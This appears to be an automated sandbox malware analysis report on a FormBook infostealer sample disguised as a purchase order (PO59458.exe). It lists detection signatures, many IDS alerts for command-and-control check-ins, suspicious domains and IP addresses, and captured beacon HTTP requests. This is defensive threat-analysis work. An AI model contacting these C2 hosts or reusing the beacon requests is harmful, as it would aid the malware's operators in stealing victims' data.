Windows Analysis Report
PO59458.exe

Machine Learning detection for sample

Source: Yara match	File source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: PO59458.exe

Joe Sandbox ML: detected

Source: PO59458.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mLKlRmqOwZ.exe, 00000003.00000000.15436844390.0000000000A4E000.00000002.00000001.01000000.00000004.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20108123566.0000000000A4E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO59458.exe, 00000000.00000003.15058209563.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, PO59458.exe, 00000000.00000003.15060260308.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15424186639.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002E2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15421403450.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004C0D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15514663718.0000000004779000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15517926311.000000000492C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO59458.exe, 00000000.00000003.15058209563.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, PO59458.exe, 00000000.00000003.15060260308.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.15424186639.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002E2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15421403450.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000004.00000002.20109630652.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004C0D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15514663718.0000000004779000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15517926311.000000000492C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdb source: svchost.exe, 00000002.00000003.15483510043.0000000002634000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15483093524.000000000261B000.00000004.00000020.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000003.18971214960.0000000000E3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: raserver.exe, 00000004.00000002.20108061852.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.000000000510C000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.000000000309C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.0000000039D7C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RAServer.pdbGCTL source: svchost.exe, 00000002.00000003.15483510043.0000000002634000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15483093524.000000000261B000.00000004.00000020.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000003.18971214960.0000000000E3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: raserver.exe, 00000004.00000002.20108061852.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.000000000510C000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.000000000309C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.0000000039D7C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044BD29 FindFirstFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	0_2_00475FE5
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044BF8D FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B1C4B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_02B1C4B0

Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then xor eax, eax		4_2_02B09C10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then mov ebx, 00000004h		4_2_049C04E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49757 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49759 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49737 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49743 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49737 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49739 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49762 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49762 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49766 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49766 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49740 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49744 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49756 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49745 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49746 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49771 -> 104.21.73.154:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49746 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49758 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49758 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49741 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49751 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49767 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49747 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49752 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49748 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49775 -> 78.141.202.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49785 -> 3.131.150.69:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49807 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49749 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49787 -> 3.131.150.69:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49787 -> 3.131.150.69:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49808 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49808 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49804 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49804 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49760 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49755 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49761 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49816 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49816 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49764 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49742 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49742 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49772 -> 104.21.73.154:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49769 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49773 -> 104.21.73.154:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49750 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49750 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49782 -> 188.94.252.140:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49780 -> 188.94.252.140:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49774 -> 104.21.73.154:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49774 -> 104.21.73.154:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49777 -> 78.141.202.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49781 -> 188.94.252.140:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49790 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49791 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49791 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49753 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49783 -> 188.94.252.140:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49792 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49783 -> 188.94.252.140:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49784 -> 3.131.150.69:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49799 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49797 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49788 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49813 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49795 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49795 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49800 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49800 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49817 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49798 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49802 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49794 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49818 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49754 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49754 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49809 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49803 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49763 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49810 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49819 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49805 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49770 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49770 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49765 -> 209.74.64.187:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49778 -> 78.141.202.204:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49778 -> 78.141.202.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49768 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49812 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49812 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49789 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49776 -> 78.141.202.204:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49796 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49796 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49793 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49806 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49811 -> 66.198.240.15:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49801 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49814 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.11.20:49820 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49820 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49815 -> 75.2.103.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49786 -> 3.131.150.69:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.online-dating28.xyz
Source:	DNS query: www.happyblacksheep.xyz

Source: Joe Sandbox View

IP Address: 199.59.243.227 199.59.243.227

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /j89h/?dX7=sns4Fhmpql&6v1=t39zGyvYmujPNlbc44MTbwagsnz+runAgyc0uTb+2KFfpU4FdXsWzq5grOKfcMMqBbgb86jYKVfh1bYb1KKDox1al7BagiI6ozFTdi6nFGMEe7mc+uR20u4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.online-dating28.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /trcp/?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.cptsdisme.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /5odm/?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.uky09q.vipConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /agok/?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.jcblessings.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
